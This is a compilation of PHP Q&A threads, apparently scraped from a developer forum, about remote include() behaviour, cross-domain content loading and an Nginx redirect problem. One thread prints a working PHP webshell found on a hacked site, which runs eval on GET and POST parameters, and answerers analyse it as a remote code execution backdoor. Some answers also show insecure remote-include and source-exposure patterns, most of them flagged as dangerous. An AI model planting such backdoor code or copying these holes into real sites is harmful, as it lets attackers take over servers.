Very strange php include behavior.. - php

I am experiencing some very strange behavior when including a php file.
I need to load a script that is not on the same domain as the page that will be calling it.
I have already created a system that works using cURL, but I just recently found out that many of the sites that will need to have access to this script, do not have cURL installed.
I did, however, notice that these sites have allow_url_fopen set to on. With this knowledge I got started creating a new system that would let me just include the script on the remote site.
Just testing this out, I coded the script test.php as follows:
<?php
echo("test");
?>
I include this script on the remote page using:
<?php
include("http://mydomain.com/script.php");
?>
and it works no problem and "test" is printed at the top of the page.
However, if I add a function to the script and try to call the function from the page, it crashes.
To make it worse, this site has php errors turned off and I have no way of turning it on.
To fully make sure that I didn't just mess up the code, I made my test.php look like this:
<?php
function myfunc()
{
return "abc";
}
?>
Then on the page including the file:
<?php
include("http://mydomain.com/script.php");
echo(myfunc());
?>
And it crashes.
Any ideas would be greatly appreciated.

This is not odd behavior, but since you load the file over the internet (note in this case the World Wide Web), the file is interpreted before it is sent to your include function.
Since the script is interpreted no functions will be visible, but only the output of the script.
Either load it over FTP or create an API for the functions.

My guess: The PHP of http://mydomain.com/script.php is interpreted by the web server of mydomain.com. All you're including is the result of that script. For a simple echo("test"), that's "test". Functions do not produce any output and are not made available to the including script. Confirm this by simply visiting http://mydomain.com/script.php in your browser and see what you get. You would need to stop mydomain.com from actually interpreting the PHP file and just returning it as pure text.
But: this sounds like a bad idea to begin with. Cross-domain includes are an anti-patterns. Not only does it open you up to security problems, it also makes every page load unnecessarily slow. If cross-domain inclusions is the answer, your question is wrong.

You are including the client side output from test.php rather than the server-side source code. Rename test.php to test.phpc to prevent executing the script. However this is dangerous out of security point of view.

Related

Constant set using define() not working in included PHP file

I have this code inside of my header
<?php
define('RELPATH','http://www.saint57records.com/');
include_once(RELPATH.'sidebar.php');
?>
and an example line of code in the sidebar
<img style="margin:10px;" src="<?php print RELPATH;?>images/logo.png" width="60px"/>
but when it gets to the page it includes the file correctly but all the links inside of the file just print RELPATH instead of the web url like this
<img style="margin:10px;" src="RELPATHimages/logo.png" width="60px"/>
It works fine on the other pages of my website, just not inside of Wordpress. Does anyone know what might be causing this issue?
The short answer is to provide a filesystem path to RELPATH, not a web URL.
The long answer is that when you use a web URL to include a PHP file, the PHP file will be treated like an external source. It will be called remotely, executed in a process of its own, and return the results. A constant defined previously can not have an effect in this remote resource.
If http://www.saint57records.com/ is on a different server, you'll have to pass RELPATH to it some other way, e.g. through a GET variable (which you'd have to sanitize with htmlentities() prior to use.) However, including content from a remote server in this way isn't good practice. It'll slow down your page as it'll make an expensive web request. If the target server is down, your page will time out.

is it wrong to use full links inside includes?

I've read so many different inputs on this, so I figured I would ask on here.
Is there anything wrong or dangerous about using full links inside a php include?
Examples,
<?php include('http://www.domain.com/blah.php'); ?>
<?php
define('WEB_ROOT', './'); // relative path to /
include('layout.php');
?>
compared to using
<?php
include('../blah.php');
?>
include('http://www.domain.com/blah.php') goes out and makes an actual HTTP request to the web server, returning the contents of the URL after the web server has processed them, just as you'd see when entering that URL in your browser.
include('../blah.php') includes the local file from disk one directory higher.
The two are completely different things and you do not want to include a URL when you mean to include a local file. Even if the two are supposedly the same file, PHP cannot know that. Accessing a URL and accessing a local file path are entirely different things. It's not possible to infer that the two are the same.
<?php include('http://www.domain.com/blah.php'); ?> is very dangerous, you can't know in 100% what is the code you will get!!! becuse PHP do HTTP request and someome can do ManInTheMiddel attack and to change the code you will get, and to hack your site.

How to pull code from another domain

if I had several websites and I would want to read "file.html" in every website, how should I do that? The file.html would be just like this:
<h1>Hot news</h1>
<p>article</p>
I know I can use php include or require,
<? include 'file.html'; ?>
or jQuery, but only within a domain.
.load("file.html");
How should I do that cross-domain?
PS: And yes, I know that's insecure
You can use PHP for it:
<?php echo file_get_contents('http://....'); ?>
The reason why include doesn't work is that url includes are disabled by default since they are horribly insecure - the included document is handled as PHP. However, with file_get_contents no PHP code can be injected and thus it's pretty safe (except client-side things such as XSS if the remote site sends you bad JavaScript code).

hacked website unusual php file

I have a file called q.php that has appeared in one of my websites. The site has been hacked. does anyone know what the file does?
<? error_reporting(0); if(#$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(#$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>
It looks like it lets anyone execute php code that is passed in as a 'q' parameter in a get request, or any code in 'eval' param of a POST request. It suppress all associated errors.
This is as bad as it gets, and if your site isn't down already, I'd recommend taking it offline and auditing your servers very closely.
It runs the PHP code sent in the ?q= GET argument or the POST eval argument.
I would advice you to clean up your server and start from a clean installation again.
It will enable the attacker to execute any code.
If you pass code to that script either by ?q=code in the URL or by including it into a POST-Request into the eval parameter it will get executed.
So basically this is a remote code execution backdoor.
Nice. Not sure what the first line is for, but the two eval lines allow someone to execute any code they please on your server by passing it in the url or post data respectively.
The bigger question is how were the attackers able to upload the file in the first place. What that file contains is quite typical of code that is inserted so that attackers are able to execute code on your server without permission.
Merely deleting this file and any other files with rogue code in them is not fixing the problem, which is somehow attackers are able to upload files into your websites file repository.
At any rate, here is a complete breakdown:
1/ error_reporting(0);
Sets the error reporting to off.
2/ if(#$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
When the URL is called with /?wpth on the end, the URL is echo'd at the top of the page.
3/
This will execute any code included in the value of q. i.e. yourdomain.com/?q=base64_decode(%27somelongstringhere%27)
4/ if (!isset($_POST['eval'])) {die('');}
Kill the page execution if a post form variable called eval is not set.
5/ eval($_POST['eval']);
Execute any code posted from a remoted hosted form where the form variable is called eval

php redirect not working with Nginx

Simple problem:
I have conditions in php like so:
if (!$authorized)
show_site_404();
or like so for that matter
if (!$logged_on)
show_login_page();
These are obviously toll gates so that we don't have trespassers into parts of the system where only a specific user or only those that are logged on should be able to go.
The code in both these cases simply loads another page than that which was intended by
require( MAINPATH . 'site-404.php' );
exit();
With Apache, this was never a problem. No settings needed.
With Nginx, it sends all such calls to the frontpage. It's like it doesn't accept an internal "re-direct" if you see what I mean.
Any help appreciated.
The problem with require as this would stop your script with an error message although with errors turned off you probably wouldn't notice this as you run an exit(); to stop execution anyway.
Check the constant variable is including the files, try them in the same directory without mainpath constant.

Categories